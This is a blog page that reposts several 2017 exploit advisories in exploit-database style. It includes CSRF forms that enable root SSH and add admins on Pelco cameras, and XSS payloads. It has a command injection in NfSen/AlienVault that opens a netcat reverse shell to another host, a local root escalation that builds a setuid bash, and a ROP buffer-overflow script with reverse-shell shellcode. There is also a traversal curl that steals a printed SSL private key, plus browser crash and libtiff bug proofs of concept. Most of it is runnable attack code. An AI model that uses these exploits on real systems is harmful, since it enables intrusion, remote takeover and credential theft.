Jump to content
  • Entries

    16114
  • Comments

    7952
  • Views

    863582849

Contributors to this blog

  • HireHackking 16114

About this blog

Hacking techniques include penetration testing, network security, reverse cracking, malware analysis, vulnerability exploitation, encryption cracking, social engineering, etc., used to identify and fix security flaws in systems.

Schneider Electric Pelco Sarix/Spectra Cameras CSRF Enable SSH Root Access


Vendor: Schneider Electric SE
Product web page: https://www.pelco.com
Affected version: Sarix Enhanced - Model: IME219 (Firmware: 2.1.2.0.8280-A0.0)
                  Sarix Enhanced - Model: IME119 (Firmware: 2.1.2.0.8280-A0.0)
                  Sarix - Model: D5230 (Firmware: 1.9.2.23-20141118-1.9330-A1.10722)
                  Sarix - Model: ID10DN (Firmware: 1.8.2.18-20121109-1.9110-O3.8503)
                  Spectra Enhanced - Model: D6230 (Firmware: 2.2.0.5.9340-A0.0)

Summary: Pelco offers the broadest selection of IP cameras designed
for security surveillance in a wide variety of commercial and industrial
settings. From our industry-leading fixed and high-speed IP cameras to
panoramic, thermal imaging, explosionproof and more, we offer a camera
for any environment, any lighting condition and any application.
When nothing but the best will do. Sarix Enhanced Range cameras
provide the most robust feature-set for your mission-critical applications.
With SureVision 3.0, Sarix Enhanced delivers the best possible image
in difficult lighting conditions such as a combination of bright areas,
shaded areas, and intense light. Designed with superior reliability,
fault tolerance, and processing speed, these rugged fixed IP cameras
ensure you always get the video that you need.

Desc: The application interface allows users to perform certain actions
via HTTP requests without performing any validity checks to verify the
requests. This can be exploited to perform certain actions with administrative
privileges if a logged-in user visits a malicious web site.

Tested on: Linux 2.6.10_mvl401-1721-pelco_evolution #1 Tue Nov 18 21:15:30 EST 2014 armv5tejl unknown
           MontaVista(R) Linux(R) Professional Edition 4.0.1 (0600980)
           Lighttpd/1.4.28
           PHP/5.3.0


Vulnerability discovered by Gjoko 'LiquidWorm' Krstic
                            @zeroscience


Advisory ID: ZSL-2017-5416
Advisory URL: http://www.zeroscience.mk/en/vulnerabilities/ZSL-2017-5416.php


07.04.2017

--


CSRF enable ssh root access:
----------------------------

<html>
  <body>
  <script>history.pushState('', '', '/')</script>
    <form action="http://192.168.1.1/setup/network/ssh/update" method="POST">
      <input type="hidden" name="enabled" value="1" />
      <input type="hidden" name="password" value="root123" />
      <input type="hidden" name="password&#95;confirmation" value="root123" />
      <input type="submit" value="Go root" />
    </form>
  </body>
</html>



CSRF add admin:
---------------

<html>
  <body>
  <script>history.pushState('', '', '/')</script>
    <form action="http://192.168.1.1/setup/auth/users/create" method="POST">
      <input type="hidden" name="original&#95;username" value="" />
      <input type="hidden" name="mode" value="create" />
      <input type="hidden" name="group" value="admins" />
      <input type="hidden" name="username" value="pelco_admin" />
      <input type="hidden" name="password" value="pelco_pass" />
      <input type="hidden" name="password&#95;confirmation" value="pelco_pass" />
      <input type="submit" value="Add admin" />
    </form>
  </body>
</html>
            
Schneider Electric Pelco Sarix/Spectra Cameras Multiple XSS Vulnerabilities


Vendor: Schneider Electric SE
Product web page: https://www.pelco.com
Affected version: Sarix Enhanced - Model: IME219 (Firmware: 2.1.2.0.8280-A0.0)
                  Sarix Enhanced - Model: IME119 (Firmware: 2.1.2.0.8280-A0.0)
                  Sarix - Model: D5230 (Firmware: 1.9.2.23-20141118-1.9330-A1.10722)
                  Sarix - Model: ID10DN (Firmware: 1.8.2.18-20121109-1.9110-O3.8503)
                  Spectra Enhanced - Model: D6230 (Firmware: 2.2.0.5.9340-A0.0)

Summary: Pelco offers the broadest selection of IP cameras designed
for security surveillance in a wide variety of commercial and industrial
settings. From our industry-leading fixed and high-speed IP cameras to
panoramic, thermal imaging, explosionproof and more, we offer a camera
for any environment, any lighting condition and any application.
When nothing but the best will do. Sarix Enhanced Range cameras
provide the most robust feature-set for your mission-critical applications.
With SureVision 3.0, Sarix Enhanced delivers the best possible image
in difficult lighting conditions such as a combination of bright areas,
shaded areas, and intense light. Designed with superior reliability,
fault tolerance, and processing speed, these rugged fixed IP cameras
ensure you always get the video that you need.

Desc: Pelco cameras suffer from multiple dom-based, stored and reflected
XSS vulnerabilities when input passed via several parameters to several
scripts is not properly sanitized before being returned to the user.
This can be exploited to execute arbitrary HTML and script code in a
user's browser session in context of an affected site.

Tested on: Linux 2.6.10_mvl401-1721-pelco_evolution #1 Tue Nov 18 21:15:30 EST 2014 armv5tejl unknown
           MontaVista(R) Linux(R) Professional Edition 4.0.1 (0600980)
           Lighttpd/1.4.28
           PHP/5.3.0


Vulnerability discovered by Gjoko 'LiquidWorm' Krstic
                            @zeroscience


Advisory ID: ZSL-2017-5415
Advisory URL: http://www.zeroscience.mk/en/vulnerabilities/ZSL-2017-5415.php


07.04.2017

--


CSRF/XSS on username parameter:
-------------------------------

<html>
  <body>
  <script>history.pushState('', '', '/')</script>
    <form action="http://192.168.1.1/setup/network/dot1x/update" method="POST">
      <input type="hidden" name="dot1x" value="on" />
      <input type="hidden" name="protocol" value="EAP&#45;TLS" />
      <input type="hidden" name="inner&#95;auth" value="CHAP" />
      <input type="hidden" name="username" value='"><script>alert(1)</script>' />
      <input type="hidden" name="password" value="blah" />
      <input type="hidden" name="anonymous&#95;id" value="&#13;" />
      <input type="hidden" name="ca&#95;certificate" value="test" />
      <input type="hidden" name="client&#95;certificate" value="test" />
      <input type="hidden" name="private&#95;key" value="test" />
      <input type="hidden" name="private&#95;key&#95;password" value="test" />
      <input type="submit" value="Submit request" />
    </form>
  </body>
</html>


CSRF/XSS on gateway, hostname, ip_address, nameservers, http_port, rtsp_port and subnet_mask parameter:
-------------------------------------------------------------------------------------------------------

<html>
  <body>
  <script>history.pushState('', '', '/')</script>
    <form action="http://192.168.1.1/setup/network/general/update" method="POST">
      <input type="hidden" name="hostname" value='"><script>alert(2)</script>' />
      <input type="hidden" name="http&#95;port" value='"><script>alert(3)</script>' />
      <input type="hidden" name="rtsp&#95;port" value='"><script>alert(4)</script>' />
      <input type="hidden" name="dhcp" value="off" />
      <input type="hidden" name="ip&#95;address" value='"><script>alert(5)</script>' />
      <input type="hidden" name="subnet&#95;mask" value='"><script>alert(6)</script>' />
      <input type="hidden" name="gateway" value='"><script>alert(7)</script>' />
      <input type="hidden" name="nameservers" value='"><script>alert(8)</script>' />
      <input type="submit" value="Submit request" />
    </form>
  </body>
</html>


CSRF/XSS on version parameter:
------------------------------

<html>
  <body>
  <script>history.pushState('', '', '/')</script>
    <form action="http://192.168.1.1/setup/network/snmp/update" method="POST">
      <input type="hidden" name="version" value='";alert(9)//' />
      <input type="hidden" name="v2&#95;community&#95;string" value="public" />
      <input type="hidden" name="v2&#95;receiver&#95;address" value="" />
      <input type="hidden" name="v2&#95;trap&#95;community&#95;string" value="trapbratce" />
      <input type="submit" value="Submit request" />
    </form>
  </body>
</html>


CSRF/XSS on device_name, ntp_server, region, smtp_server and zone parameter:
----------------------------------------------------------------------------

<html>
  <body>
  <script>history.pushState('', '', '/')</script>
    <form action="http://192.168.1.1/setup/system/general/update" method="POST">
      <input type="hidden" name="device&#95;name" value='ZSL"><script>alert(10)</script>' />
      <input type="hidden" name="enable&#95;leds" value="on" />
      <input type="hidden" name="smtp&#95;server" value='"><script>alert(11)</script>' />
      <input type="hidden" name="ntp&#95;server&#95;from&#95;dhcp" value="false" />
      <input type="hidden" name="ntp&#95;server" value="';alert(12)//'" />
      <input type="hidden" name="region" value="Macedonia';alert(13)//" />
      <input type="hidden" name="zone" value="Kumanovo';alert(14)//" />
      <input type="hidden" name="enable&#95;time&#95;overlay" value="on" />
      <input type="hidden" name="enable&#95;name&#95;overlay" value="off" />
      <input type="hidden" name="position" value="topright" />
      <input type="hidden" name="date&#95;format" value="0" />
      <input type="submit" value="Submit request" />
    </form>
  </body>
</html>


XSS on ftp_base_path, ftp_server, ftp_username, ftp_password and name parameter:
--------------------------------------------------------------------------------

<html>
  <body>
  <script>history.pushState('', '', '/')</script>
    <form action="http://192.168.1.1/setup/events/handlers/update" method="POST">
      <input type="hidden" name="id" value="" />
      <input type="hidden" name="relay&#95;sentinel" value="relay&#95;sentinel" />
      <input type="hidden" name="name" value='"><script>alert(15)</script>' />
      <input type="hidden" name="type" value="Ftp" />
      <input type="hidden" name="email&#95;to" value="" />
      <input type="hidden" name="email&#95;from" value="" />
      <input type="hidden" name="email&#95;subject" value="" />
      <input type="hidden" name="email&#95;message" value="" />
      <input type="hidden" name="dest&#95;name" value="IMG&#37;m&#37;d&#37;Y&#37;H&#37;M&#37;S&#46;jpg" />
      <input type="hidden" name="limit&#95;size" value="" />
      <input type="hidden" name="limit&#95;size&#95;scale" value="K" />
      <input type="hidden" name="ftp&#95;server" value='"><script>alert(16)</script>' />
      <input type="hidden" name="ftp&#95;username" value='"><script>alert(17)</script>' />
      <input type="hidden" name="ftp&#95;password" value='"><script>alert(18)</script>' />
      <input type="hidden" name="ftp&#95;base&#95;path" value='"><script>alert(19)</script>' />
      <input type="hidden" name="ftp&#95;dest&#95;name" value="IMG&#37;m&#37;d&#37;Y&#37;H&#37;M&#37;S&#46;jpg" />
      <input type="hidden" name="relay&#95;bankName" value="GPIO" />
      <input type="hidden" name="relay&#95;index" value="0" />
      <input type="hidden" name="relay&#95;on&#95;time" value="0&#46;1" />
      <input type="hidden" name="relay&#95;off&#95;time" value="0&#46;1" />
      <input type="hidden" name="relay&#95;pulse&#95;count" value="" />
      <input type="hidden" name="filter&#95;start0" value="" />
      <input type="hidden" name="filter&#95;stop0" value="" />
      <input type="submit" value="Submit request" />
    </form>
  </body>
</html>
            
# Exploit Title: NfSen/AlienVault remote root exploit (IPC query command injection)
# Version: NfSen 1.3.6p1, 1.3.7 and 1.3.7-1~bpo80+1_all. Previous versions are also likely to be affected.
# Version: AlienVault 5.3.4
# Date: 2017-07-10
# Vendor Homepage: http://nfsen.sourceforge.net/
# Vendor Homepage: http://www.alienvault.com/
# Software Link: https://sourceforge.net/projects/nfsen/files/stable/nfsen-1.3.7/nfsen-1.3.7.tar.gz/download
# Exploit Author: Paul Taylor / Foregenix Ltd
# Website: http://www.foregenix.com/blog
# Tested on: AlienVault USM 5.3.4
# CVE: CVE-2017-6971
1. Description

A remote authenticated attacker (or an attacker with a stolen PHP Session ID) can gain complete control over the system by sending a crafted request containing control characters and shell commands which will be executed as root on a vulnerable system.

2. Proof of Concept
# From a linux bash prompt on the attacker's machine:

# Set target IP
targetip='10.100.1.1'

# Set desired command to inject (in this case a reverse shell, using Netcat which is conveniently available on an AlienVault USM All-In-One):
cmd='nc -ne /bin/bash 10.100.1.2 443';

# Set the PHPSESSID of an authenticated session which has *already* submitted at least one valid NfSen query for processing via the Web UI.
PHPSESSID='offq09ckq66fqtvdd0vsuhk5c7';

# Next use curl to send the exploit
curl -o /dev/null -s -k -b "PHPSESSID=$PHPSESSID" -d "process=Process&output=custom+...&customfmt=%0A.%0Arun-nfdump%0Aargs=-h; $cmd #" https://$targetip/ossim/nfsen/nfsen.php

3. Solution:

Update to latest version of NfSen/USM/OSSIM
            
# Exploit Title: Local root exploit affecting NfSen <= 1.3.7, AlienVault USM/OSSIM <= 5.3.6
# Version: NfSen 1.3.7
# Version: AlienVault 5.3.6
# Date: 2017-07-10
# Vendor Homepage: http://nfsen.sourceforge.net/
# Vendor Homepage: http://www.alienvault.com/
# Software Link: https://sourceforge.net/projects/nfsen/files/stable/nfsen-1.3.7/nfsen-1.3.7.tar.gz/download
# Exploit Author: Paul Taylor / Foregenix Ltd
# Website: http://www.foregenix.com/blog
# Tested on: AlienVault USM 5.3.6
# CVE: CVE-2017-6970

1. Description
  
The web user (in AlienVault USB www-data) has access to the NfSen IPC UNIX domain socket. This can be used to send a crafted command (complete with shell metacharacter injection) to the NfSen Perl components, causing OS command injection in a root privilege context, and therefore can be leverage for privilege escalation from the web user to full root privileges.

2. Proof of Concept

Pre-requisites - web user/www-data shell (e.g. web shell, or reverse shell).

Execute the following command:

perl -e 'use Socket; socket(my $nfsend, AF_UNIX, SOCK_STREAM, 0); connect($nfsend, sockaddr_un("/var/nfsen/run/nfsen.comm")); print $nfsend "run-nfdump\nargs=-h \$(bash -c \"cp /bin/bash /tmp\")\n.\nrun-nfdump\nargs=-h \$(bash -c \"chmod u+s /tmp/bash\")\n.\n";'
  
This will create a set uid root bash binary in /tmp, which can then be used to gain full root privileges.

3. Solution:
  
Update to latest version of NfSen/USM/OSSIM
            
#!/usr/bin/python
# Exploit Title: Easy File Sharing Web Server 7.2 - GET Buffer Overflow (DEP Bypass with ROP)
# Date: 8 July 2017
# Exploit Author: Sungchul Park
# Author Contact: lxmania7@gmail.com
# Vendor Homepage: http://www.sharing-file.com
# Software Link: http://www.sharing-file.com/efssetup.exe
# Version: Easy File Sharing Web Server 7.2
# Tested on: Winows 7 SP1

import socket, struct

def create_rop_chain():

	# rop chain generated with mona.py - www.corelan.be
	rop_gadgets = [
		# For EDX -> flAllocationType(0x1000) [ EAX to EBX ]
        # 0x00000000,  # [-] Unable to find gadget to put 00001000 into edx
        0x10015442,  # POP EAX # RETN [ImageLoad.dll]
		0xFFFFEFFF,  # -1001 (static value)
        0x100231d1,  # NEG EAX # RETN [ImageLoad.dll]
		0x1001614d,  # DEC EAX # RETN [ImageLoad.dll] 
        0x1001da09,  # ADD EBX,EAX # MOV EAX,DWORD PTR SS:[ESP+C] # INC DWORD PTR DS:[EAX] # RETN [ImageLoad.dll]
        0x1001a858,  # RETN (ROP NOP) [ImageLoad.dll]
        0x1001a858,  # RETN (ROP NOP) [ImageLoad.dll]
        0x10015442,  # POP EAX # RETN [ImageLoad.dll]
        0x1004de84,  # &Writable location [ImageLoad.dll]
		
		# For EDX -> flAllocationType(0x1000) [ EBX to EDX ]
		0x10022c4c,  # XOR EDX,EDX # RETN [ImageLoad.dll]
		0x10022c1e,  # ADD EDX,EBX # POP EBX # RETN 0x10 [ImageLoad.dll] 
		0xffffffff,  # Filler (Compensation for POP EBX)
		
		# For ESI -> &VirtualAlloc
		0x10015442,  # POP EAX # RETN [ImageLoad.dll] 
		0xffffffff,  # Filler \
		0xffffffff,  # Filler  |
		0xffffffff,  # Filler  | => (Compensation for RETN 0x10)
		0xffffffff,  # Filler /
		0x1004d1fc,  # ptr to &VirtualAlloc() [IAT ImageLoad.dll]
		0x1002248c,  # MOV EAX,DWORD PTR DS:[EAX] # RETN [ImageLoad.dll] 
		0x61c0a798,  # XCHG EAX,EDI # RETN [sqlite3.dll] 
		0x1001aeb4,  # POP ESI # RETN [ImageLoad.dll] 
		0xffffffff,  #  
		0x1001715d,  # INC ESI # ADD AL,3A # RETN [ImageLoad.dll] 
		0x10021a3e,  # ADD ESI,EDI # RETN 0x00 [ImageLoad.dll] 
		
		# For EBP -> Return Address
		0x10013860,  # POP EBP # RETN [ImageLoad.dll] 
		0x61c24169,  # & push esp # ret  [sqlite3.dll]
		
		# For EBX -> dwSize(0x01)
		0x100132ba,  # POP EBX # RETN [ImageLoad.dll] 
		0xffffffff,  #  
		0x61c2785d,  # INC EBX # ADD AL,83 # RETN [sqlite3.dll] 
		0x1001f6da,  # INC EBX # ADD AL,83 # RETN [ImageLoad.dll] 
				
		# For ECX -> flProtect(0x40)
		0x10019dfa,  # POP ECX # RETN [ImageLoad.dll] 
		0xffffffff,  #  
		0x61c68081,  # INC ECX # ADD AL,39 # RETN [sqlite3.dll] 
		0x61c68081,  # INC ECX # ADD AL,39 # RETN [sqlite3.dll] 
		0x61c06831,  # ADD ECX,ECX # RETN [sqlite3.dll]
		0x61c06831,  # ADD ECX,ECX # RETN [sqlite3.dll]
		0x61c06831,  # ADD ECX,ECX # RETN [sqlite3.dll]
		0x61c06831,  # ADD ECX,ECX # RETN [sqlite3.dll]
		0x61c06831,  # ADD ECX,ECX # RETN [sqlite3.dll]
		0x61c06831,  # ADD ECX,ECX # RETN [sqlite3.dll]
		
		# For EDI -> ROP NOP
		0x61c373a4,  # POP EDI # RETN [sqlite3.dll] 
		0x1001a858,  # RETN (ROP NOP) [ImageLoad.dll]
		# For EAX -> NOP(0x90)
		0x10015442,  # POP EAX # RETN [ImageLoad.dll] 
		0x90909090,  # nop
		0x100240c2,  # PUSHAD # RETN [ImageLoad.dll] 
	]
	return ''.join(struct.pack('<I', _) for _ in rop_gadgets)

rop_chain = create_rop_chain()

# msfvenom -p windows/shell/reverse_tcp LHOST=192.168.44.128 LPORT=8585 -b "\x00\x3b" -e x86/shikata_ga_nai -f python -v shellcode
shellcode = "\x90"*200
shellcode += "\xdb\xdd\xbb\x5e\x78\x34\xc0\xd9\x74\x24\xf4\x5e"
shellcode += "\x29\xc9\xb1\x54\x31\x5e\x18\x03\x5e\x18\x83\xc6"
shellcode += "\x5a\x9a\xc1\x3c\x8a\xd8\x2a\xbd\x4a\xbd\xa3\x58"
shellcode += "\x7b\xfd\xd0\x29\x2b\xcd\x93\x7c\xc7\xa6\xf6\x94"
shellcode += "\x5c\xca\xde\x9b\xd5\x61\x39\x95\xe6\xda\x79\xb4"
shellcode += "\x64\x21\xae\x16\x55\xea\xa3\x57\x92\x17\x49\x05"
shellcode += "\x4b\x53\xfc\xba\xf8\x29\x3d\x30\xb2\xbc\x45\xa5"
shellcode += "\x02\xbe\x64\x78\x19\x99\xa6\x7a\xce\x91\xee\x64"
shellcode += "\x13\x9f\xb9\x1f\xe7\x6b\x38\xf6\x36\x93\x97\x37"
shellcode += "\xf7\x66\xe9\x70\x3f\x99\x9c\x88\x3c\x24\xa7\x4e"
shellcode += "\x3f\xf2\x22\x55\xe7\x71\x94\xb1\x16\x55\x43\x31"
shellcode += "\x14\x12\x07\x1d\x38\xa5\xc4\x15\x44\x2e\xeb\xf9"
shellcode += "\xcd\x74\xc8\xdd\x96\x2f\x71\x47\x72\x81\x8e\x97"
shellcode += "\xdd\x7e\x2b\xd3\xf3\x6b\x46\xbe\x9b\x58\x6b\x41"
shellcode += "\x5b\xf7\xfc\x32\x69\x58\x57\xdd\xc1\x11\x71\x1a"
shellcode += "\x26\x08\xc5\xb4\xd9\xb3\x36\x9c\x1d\xe7\x66\xb6"
shellcode += "\xb4\x88\xec\x46\x39\x5d\x98\x43\xad\x9e\xf5\x60"
shellcode += "\xad\x77\x04\x79\x8c\x0e\x81\x9f\x9e\x40\xc2\x0f"
shellcode += "\x5e\x31\xa2\xff\x36\x5b\x2d\xdf\x26\x64\xe7\x48"
shellcode += "\xcc\x8b\x5e\x20\x78\x35\xfb\xba\x19\xba\xd1\xc6"
shellcode += "\x19\x30\xd0\x37\xd7\xb1\x91\x2b\x0f\xa0\x59\xb4"
shellcode += "\xcf\x49\x5a\xde\xcb\xdb\x0d\x76\xd1\x3a\x79\xd9"
shellcode += "\x2a\x69\xf9\x1e\xd4\xec\xc8\x55\xe2\x7a\x75\x02"
shellcode += "\x0a\x6b\x75\xd2\x5c\xe1\x75\xba\x38\x51\x26\xdf"
shellcode += "\x47\x4c\x5a\x4c\xdd\x6f\x0b\x20\x76\x18\xb1\x1f"
shellcode += "\xb0\x87\x4a\x4a\xc3\xc0\xb5\x08\xe1\x68\xde\xf2"
shellcode += "\xa5\x88\x1e\x99\x25\xd9\x76\x56\x0a\xd6\xb6\x97"
shellcode += "\x81\xbf\xde\x12\x47\x0d\x7e\x22\x42\xd3\xde\x23"
shellcode += "\x60\xc8\x37\xaa\x87\xef\x37\x4c\xb4\x39\x0e\x3a"
shellcode += "\xfd\xf9\x35\x35\xb4\x5c\x1f\xdc\xb6\xf3\x5f\xf5"


host = "192.168.44.139"
port = 80

max_size = 4000
seh_offset = 57
eax_offset = 73
rop_offset = 2788

buffer = "A" * seh_offset					# padding
buffer += "BBBB"							# nSEH Pointer
buffer += struct.pack("<I", 0x1002280a)		# SE Handler with stack pivot(# ADD ESP,1004 # RETN [ImageLoad.dll])
buffer += "A" * (eax_offset - len(buffer))	# padding
buffer += "DDDD"							# EAX overwrite
buffer += "C" * rop_offset
buffer += rop_chain
buffer += shellcode
buffer += "B" * (max_size - len(buffer))	# padding

# HTTP GET Request
request = "GET /vfolder.ghp HTTP/1.1\r\n"
request += "Host: " + host + "\r\n"
request += "User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/59.0.3071.115 Safari/537.36" + "\r\n"
request += "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8" + "\r\n"
request += "Accept-Language: ko-KR,ko;q=0.8,en-US;q=0.6,en;q=0.4" + "\r\n"
request += "Cookie: SESSIONID=3672; UserID=PassWD=" + buffer + "; frmUserName=; frmUserPass=;"
request += "\r\n"
request += "Connection: keep-alive" + "\r\n"
request += "If-Modified-Since: Thu, 06 Jul 2017 14:12:13 GMT" + "\r\n"

s=socket.socket(socket.AF_INET, socket.SOCK_STREAM)

connect=s.connect((host, port))

s.send(request + "\r\n\r\n")
s.close()
            
[+] Credits: John Page aka hyp3rlinx	
[+] Website: hyp3rlinx.altervista.org
[+] Source:  http://hyp3rlinx.altervista.org/advisories/YAWS-WEB-SERVER-v1.91-UNAUTHENTICATED-REMOTE-FILE-DISCLOSURE.txt
[+] ISR: ApparitionSec            
 


Vendor:
==========
yaws.hyber.org



Product:
===========
Yaws v1.91 (Yet Another Web Server)

Yaws is a HTTP high perfomance 1.1 webserver particularly well suited for dynamic-content web applications.
Two separate modes of operations are supported:

Standalone mode where Yaws runs as a regular webserver daemon. This is the default mode.
Embedded mode where Yaws runs as an embedded webserver in another Erlang application.



Vulnerability Type:
===================
Unauthenticated Remote File Disclosure



CVE Reference:
==============
CVE-2017-10974



Security Issue:
================
Remote attackers who can reach Yaws web server can read the server SSL private key file using directory
traversal attacks, access logs are also disclosed etc... this version is somewhat old, however, still avail for download
as of the time of this writing. http://yaws.hyber.org/download/



Exploit/POC:
=============
Steal Yaws Server SSL private key ".pem" file.

curl http://REMOTE-VICTIM-IP:8080/%5C../ssl/yaws-key.pem


-----BEGIN RSA PRIVATE KEY-----
MIICWwIAAAKBgQDMJHAcJXB9TzkYg/ghXNjOAp3zcgKC4XZo4991SPGYukKVU1Fv
RX0YgPx3wz8Ae7ykPg0KW7O3D9Pn8liazTYEaXskNKAzOFr1gtBd7p937PKNQk++
3/As5EfJjz+lBrwUGbSicJgldJk3Cj89htMUqGwL2Bl/yOQIsZtyLlrP1wIDAQAB
AoGAYgEwTWLwAUjSaWGs8zJm52g8Ok7Gw+CfNzYG5oCxdBgftR693sSmjOgHzNtQ
WMQOyW7eDBYATmdr3VPsk8znHBSfQ19gAJjR89lJ6lt5qDMNtXMUWILn91g+RbkO
gmTkhD8uc0e/3FJBwPxFJWQzFEcAR4jNFJwhNzg6CO8CK/ECQQD7sNzvMRnUi1RQ
tiKgRxdjdEwNh52OUPwuJWhKdBLIpHBAJxCBHJB+1N0ufpqaEgUfJ5+gEYrBRMJh
aTCIJul5AkEAz6MsmkMz6Iej5zlKrlDL5q6GU+wElXK/F1H8tN/JchoSXN8BRCJZ
DLpK0mcMN4yukHKDCo0LD9NBlRQFDll/zwJASb2CrW2kVLpRhKgoMu9BMflDwv8G
IcqmZ9q72HxzeGd9H76SPlGhIBe7icC8CQHYkE0qnlolXgSIMsP/3RQReQJAYHnt
+INvNAUKSB6br6EFDNtcuNO6UYJufbRvmc89d5HbpGFN4k2fWMWajGarC4iHd8Bt
WNKuKB09pLoXm1JEiwJAfRtIXE6sr4MQOL6aWwGElw+Yb4B1WBhBiPRRwGTX0nzN
HXF3851+kgZBZjjzA3Ib2nr5PeXkZBBLE/4jJvRPRA==
-----END RSA PRIVATE KEY-----



--- OR Read the access logs. ---


curl http://REMOTE-VICTIM-IP:8080/%5C../logs/localhost.8080.access  

<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><HTML><HEAD><TITLE>404 Not Found</TITLE></HEAD><BODY>
<H1>Not Found</H1>The requested URL /../logs/localhost.8080.access was not found on this server.<P><HR>
<address> Yaws 1.91 Server at localhost:8080 </address>  </BODY></HTML>[root@localhost ~]# 

Then,


curl http://REMOTE-VICTIM-IP:8080/%5C../logs/localhost.8080.access

127.0.0.1 - - [26/Jun/2017:09:52:27 -0400] "GET / HTTP/1.1" 200 74419 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64; rv:54.0) Gecko/20100101 Firefox/54.0"
127.0.0.1 - - [26/Jun/2017:09:52:27 -0400] "GET /stil.css HTTP/1.1" 200 1677 "http://127.0.0.1:8080/" "Mozilla/5.0 (Windows NT 6.1; WOW64; rv:54.0) Gecko/20100101 Firefox/54.0"
127.0.0.1 - - [26/Jun/2017:09:52:27 -0400] "GET /icons/yaws_head.gif HTTP/1.1" 200 2308 "http://127.0.0.1:8080/" "Mozilla/5.0 (Windows NT 6.1; WOW64; rv:54.0) Gecko/20100101 Firefox/54.0"
127.0.0.1 - - [26/Jun/2017:09:52:27 -0400] "GET /icons/yaws_pb.gif HTTP/1.1" 200 1444 "http://127.0.0.1:8080/" "Mozilla/5.0 (Windows NT 6.1; WOW64; rv:54.0) Gecko/20100101 Firefox/54.0"
127.0.0.1 - - [26/Jun/2017:09:52:27 -0400] "GET /icons/yaws_y.gif HTTP/1.1" 200 4831 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64; rv:54.0) Gecko/20100101 Firefox/54.0"
127.0.0.1 - - [26/Jun/2017:09:52:33 -0400] "GET /bindings.yaws HTTP/1.1" 200 5502 "http://127.0.0.1:8080/" "Mozilla/5.0 (Windows NT 6.1; WOW64; rv:54.0) Gecko/20100101 Firefox/54.0"
127.0.0.1 - - [26/Jun/2017:09:52:42 -0400] "GET /configuration.yaws HTTP/1.1" 200 8634 "http://127.0.0.1:8080/bindings.yaws" "Mozilla/5.0 (Windows NT 6.1; WOW64; rv:54.0) Gecko/20100101 Firefox/54.0"

etc...



Network Access:
===============
Remote




Severity:
=========
High



Disclosure Timeline:
=================================
Vendor Notification: June 26, 2017
No replies
July 7, 2017  : Public Disclosure



[+] Disclaimer
The information contained within this advisory is supplied "as-is" with no warranties or guarantees of fitness of use or otherwise.
Permission is hereby granted for the redistribution of this advisory, provided that it is not altered except by reformatting it, and
that due credit is given. Permission is explicitly given for insertion in vulnerability databases and similar, provided that due credit
is given to the author. The author is not responsible for any misuse of the information contained herein and accepts no responsibility
for any damage caused by the use or misuse of this information. The author prohibits any malicious use of security related information
or exploits by the author or elsewhere. All content (c).

hyp3rlinx
            
[+] Credits: John Page aka hyp3rlinx	
[+] Website: hyp3rlinx.altervista.org
[+] Source:  http://hyp3rlinx.altervista.org/advisories/FIREFOX-v54.0.1-DENIAL-OF-SERVICE.txt
[+] ISR: ApparitionSec            
 


Vendor:
===============
www.mozilla.org



Product:
===============
Firefox v54.0.1



Vulnerability Type:
===================
Denial Of Service



Security Issue:
================
Dynamically creating HTML elements IMG,FORM,DIV,P,A,H2,IFRAME,TABLE,TEXTAREA and assigning very long string of junk chars to the
"style.color" property results in Firefox Browser out of memory crash (not tab crash).

Tested on Windows 7

References:
https://bugzilla.mozilla.org/show_bug.cgi?id=1376692#a465096_417288


Exploit/POC:
=============
<html>
<body>
<script>

var p1 = "\x41";
for (var c=0;c<0xC350;c++){
p1+="\x41";
}
var p2="\x41";
for (c=0;c<0x1388;c++){
p2 += p1;
}		 
var el = document.createElement('img')  //FORM,DIV,P,A,H2,IFRAME,TABLE,TEXTAREA  //<=== OR any of these elements.
el.style.color=p2
document.body.appendChild(el)
		  
</script>
</body>

</html>


Network Access:
===============
Remote



Severity:
=========
Medium




Disclosure Timeline:
=============================
Vendor Notification: June 27, 2017
July 7, 2017  : Public Disclosure



[+] Disclaimer
The information contained within this advisory is supplied "as-is" with no warranties or guarantees of fitness of use or otherwise.
Permission is hereby granted for the redistribution of this advisory, provided that it is not altered except by reformatting it, and
that due credit is given. Permission is explicitly given for insertion in vulnerability databases and similar, provided that due credit
is given to the author. The author is not responsible for any misuse of the information contained herein and accepts no responsibility
for any damage caused by the use or misuse of this information. The author prohibits any malicious use of security related information
or exploits by the author or elsewhere. All content (c).

hyp3rlinx
            
Source: http://bugzilla.maptools.org/show_bug.cgi?id=2693

On 4.0.7:

# tiffsplit $FILE

==2007== Invalid read of size 4
==2007==    at 0x40CD1A: _TIFFVGetField (tif_dir.c:1072)
==2007==    by 0x41B2C5: TIFFVGetField (tif_dir.c:1198)
==2007==    by 0x41B2C5: TIFFGetField (tif_dir.c:1182)
==2007==    by 0x404CCF: tiffcp (tiffsplit.c:220)
==2007==    by 0x404CCF: main (tiffsplit.c:89)
==2007==  Address 0x0 is not stack'd, malloc'd or (recently) free'd

------- Comment #1 From zhangtan 2017-05-15 01:20:26 -------

The place of Out of bound read:

ret_val = 0;
for (i = 0; i < td->td_customValueCount; i++) {
    TIFFTagValue *tv = td->td_customValues + i;

if (tv->info->field_tag != tag)
                        continue;

------- Comment #2 From zhangtan 2017-05-15 01:29:10 -------

The place of Out of bound read:

The 1072 line of tif_dir.c

1068     ret_val = 0;
1069     for (i = 0; i < td->td_customValueCount; i++) {
1070             TIFFTagValue *tv = td->td_customValues + i;
1071                    
1072             if (tv->info->field_tag != tag)
1073                     continue;

As tv increased in 1070, Out of bound read happened in 1072 when the pointer tv
was referenced.

------- Comment #3 From zhangtan 2017-05-15 01:46:33 -------

PoC:

Detailed information of the bug can be reproduced using the valgrind tool:

# valgrind tiffsplit $File(the testcase in the attachment)

Error Message:
==23520== Invalid read of size 4
==23520==    at 0x40CD1A: _TIFFVGetField (tif_dir.c:1072)
==23520==    by 0x41B2C5: TIFFVGetField (tif_dir.c:1198)
==23520==    by 0x41B2C5: TIFFGetField (tif_dir.c:1182)
==23520==    by 0x404CCF: tiffcp (tiffsplit.c:220)
==23520==    by 0x404CCF: main (tiffsplit.c:89)
==23520==  Address 0x0 is not stack'd, malloc'd or (recently) free'd
==23520== 
==23520== 
